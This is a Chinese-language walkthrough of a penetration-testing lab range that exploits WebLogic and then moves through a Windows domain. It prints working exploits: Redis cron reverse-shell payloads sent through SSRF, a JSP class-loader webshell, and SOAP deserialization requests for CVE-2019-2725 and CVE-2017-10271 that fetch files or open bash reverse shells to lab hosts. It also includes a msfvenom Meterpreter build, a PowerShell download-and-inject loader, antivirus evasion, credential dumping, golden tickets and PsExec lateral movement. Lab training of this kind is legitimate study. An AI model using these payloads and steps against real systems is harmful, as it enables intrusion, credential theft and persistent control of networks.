红日安全团队ATT&CK(二)实战系列靶场
字数 1737 2025-08-26 22:11:28
WebLogic漏洞利用与内网渗透实战手册
环境搭建
基础环境配置
-
系统登录:
- 使用凭证:
de1ay/1qaz@WSX登录Web主机 - 管理员凭证:
Administrator/1qaz@WSX
- 使用凭证:
-
服务启动:
- 路径:
计算机右键->管理->配置->服务 - 需启动服务:
Server、Workstation、Computer Browser - 注意:
Computer Browser可能自动关闭导致net view显示6118错误,可临时关闭防火墙
- 路径:
-
WebLogic目录:
C:\Oracle\Middleware\user_projects\domains\base_domain\bin
网络扫描
- 扫描整个网段:
nmap -sP 192.168.111.2/24 - 详细扫描目标主机:
nmap -sS -sV -A -T4 -p- 192.168.111.80
关键端口分析:
- 445:可能存在SMB服务/MS17-010漏洞
- 139:可能存在Samba服务/远程命令执行漏洞
- 1433:可能存在MSSQL服务/爆破/SA弱口令
- 3389:远程桌面服务
- 7001:WebLogic服务
WebLogic SSRF漏洞利用
环境准备
cd vulhub/weblogic/ssrf/
docker-compose up -d
docker ps # 确认WebLogic和Redis服务运行
漏洞探测
-
修改
operator参数测试端口状态:- 端口开放:返回404
- 端口关闭:显示服务连接不上
-
探测内网Redis服务(通常位于172.*网段):
- 发现目标:
172.18.0.2:6379
- 发现目标:
Redis利用(定时任务反弹Shell)
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/192.168.111.128/7777 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
URL编码后的Payload:
http://172.18.0.2:6379/ww%0A%0D%0A%0Dset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.111.128%2F7777%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0A%0Dconfig%20set%20dir%20%2Fetc%2F%0A%0Dconfig%20set%20dbfilename%20crontab%0A%0Dsave
WebLogic调试分析
调试环境配置
- 修改
docker-compose.yml增加8888端口映射 - 重启容器:
docker stop `docker ps -q` docker-compose up -d - 配置调试参数:
vi setDomainEnv.sh debugFlag="true" export debugFlag DEBUG_PORT=8888 - 获取WebLogic源码:
docker cp 5891c1ca1078:/root ./weblogic_jars mkdir weblogic_jars/lib find ./weblogic_jars -name *.jar -exec cp {} ./weblogic_jars/lib/ \;
关键调试点
- 关注
operator参数值的传递流程 - 从
sendMessage函数开始分析:- 使用
BindFactory创建工厂类 - 创建
BindingInfo对象(默认transport为http11) - 最终创建
Http11ClientBinding对象
- 使用
- 漏洞点:
Http11ClientBinding直接向URL发起连接,无校验导致CRLF注入
CVE-2019-2725漏洞利用
环境搭建
- 下载JDK 7u80和WebLogic 10.3.6
- 配置Java环境:
export JAVA_HOME=/usr/lib/jvm/jdk1.7.0_80 export JRE_HOME=${JAVA_HOME}/jre export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib export PATH=${JAVA_HOME}/bin:$PATH
漏洞检测
-
检测URL:
http://192.168.111.129:7001/_async/AsyncResponseService- 返回200:漏洞存在
- 返回404:漏洞不存在
-
备用检测URL:
http://192.168.111.129:7001/_async/- 返回403:漏洞存在
- 返回404:漏洞不存在
WebShell写入
JSP WebShell代码:
<%!
class U extends ClassLoader {
U(ClassLoader c) { super(c); }
public Class g(byte[] b) { return super.defineClass(b, 0, b.length); }
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object getDecoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) getDecoder.getClass().getMethod("decode", String.class).invoke(getDecoder, str);
}
}
%>
<%
String cls = request.getParameter("wanan");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
利用SOAP请求写入WebShell:
POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.111.129:7001
Content-Type: text/xml
SOAPAction:
Content-Length: 851
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>/bin/bash</string></void>
<void index="1"><string>-c</string></void>
<void index="2"><string>wget http://192.168.111.1/wanan.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/wan.jsp</string></void>
</array>
<void method="start"/>
</void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body>
</soapenv:Envelope>
反弹Shell
bash -i >& /dev/tcp/192.168.111.128/7777 0>&1
CVE-2017-10271漏洞利用
漏洞检测
访问以下URL检测漏洞:
http://192.168.111.129:7001/wls-wsat/CoordinatorPortType
其他可能路径:
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
利用Payload
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.111.129:7001
Content-Type: text/xml
Content-Length: 641
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>/bin/bash</string></void>
<void index="1"><string>-c</string></void>
<void index="2"><string>bash -i >& /dev/tcp/192.168.111.128/7777 0>&1</string></void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
漏洞原理
- 漏洞位于WebLogic Server WLS组件
- 由
wls-wsat.war触发 - 通过构造SOAP(XML)格式请求,在解析过程中导致XMLDecoder反序列化漏洞
- 关键调用链:
processRequest→readHeaderOld→WorkContextXmlInputAdapter→WorkContextLocalMap#receiveRequest→readUTF→xmlDecoder.readObject
内网渗透
横向移动准备
- 生成木马:
msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe LHOST=192.168.111.80 LPORT=4444 -o ./shell.exe - Base64编码:
cat shell.exe | base64 > base64.txt
PowerShell反射加载
- 下载PowerSploit:
git clone https://github.com/PowerShellMafia/PowerSploit.git - 执行脚本
wan.ps1:iex(New-Object Net.WebClient).DownloadString("http://192.168.111.128:8000/PowerSploit/CodeExecution/Invoke-ReflectivePEInjection.ps1"); $b64Str = (New-Object Net.WebClient).DownloadString("http://192.168.111.128:8000/base64.txt"); $PEBytes = [System.Convert]::FromBase64String($b64Str); Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR - 执行命令:
powershell -ExecutionPolicy Bypass -File C:/Windows/wan.ps1
绕过杀软
- 检查360进程:
ps | grep 360 - 进程迁移:
migrate 632 # 迁移到svchost.exe
权限维持(黄金票据)
必要条件:
- 域名
- 域的SID值
- 域的krbtgt账户NTLM密码哈希
- 伪造用户名
操作步骤:
- 获取KRBTGT账户哈希:
hashdump sekurlsa::logonpasswords - 伪造黄金票据:
- 当域控权限丢失后,可通过域内任意机器伪造票据重新获取权限
域信息收集
shell ipconfig/all # 查看双网卡配置
shell net view # 查看网络共享
shell net user /domain # 查看域用户
shell net group "domain controllers" /domain # 查看域控制器
shell net group "domain computers" /domain # 查看域成员计算机
横向移动(PsExec)
- 基于IPC共享(需445端口开放)
- 使用方式:
psexec \\目标IP -u 用户名 -p 密码 cmd.exe
总结
本手册详细记录了WebLogic多个高危漏洞的利用方法,包括:
- SSRF漏洞利用Redis实现RCE
- CVE-2019-2725反序列化漏洞
- CVE-2017-10271 XMLDecoder反序列化漏洞
同时涵盖了内网渗透的关键技术:
- 权限维持(黄金票据)
- 横向移动(PsExec)
- 杀软绕过
- 域信息收集
这些技术在实际渗透测试中具有极高的实用价值,但请务必在合法授权范围内使用。